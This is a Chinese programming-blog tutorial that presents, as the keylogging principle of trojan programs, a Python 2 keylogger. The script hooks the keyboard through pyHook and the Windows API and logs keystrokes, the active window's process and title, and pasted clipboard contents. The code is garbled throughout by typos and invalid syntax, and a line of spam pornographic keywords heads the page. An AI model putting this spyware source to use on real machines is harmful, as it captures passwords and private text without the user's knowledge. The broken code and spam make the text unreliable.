欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python告訴你木馬程序的鍵盤記錄原理

 更新時間:2019年02月02日 11:18:17   作者:python爬蟲學(xué)習(xí)  
今天小編就為大家分享一篇關(guān)于Python告訴你木馬程序的鍵盤記錄原理,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧

前言

Python keylogger鍵盤記錄的功能的實現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#獲取最上層的窗句柄
hwnd = user32.GetForegroundWindow()
#獲取進(jìn)程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#將進(jìn)程ID存入變量中
process_ = "%d" % pid.value
#申請內(nèi)存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#讀取窗口標(biāo)題
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#關(guān)閉handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#關(guān)閉鍵盤監(jiān)聽事件函數(shù)
def KeyStroke(event):
global current_window
#檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函數(shù)調(diào)用
get_current_process()
#檢測擊鍵是否常規(guī)按鍵(非組合鍵等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果發(fā)現(xiàn)ctrl + V事件,就粘貼板內(nèi)容記錄下來
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循環(huán)監(jiān)聽下一個事件
return True
#創(chuàng)建并注冊hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注冊hook并興趣
kl.hookKeyboard()
pythoncom.PumpMessages()

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,謝謝大家對腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請查看下面相關(guān)鏈接

相關(guān)文章

最新評論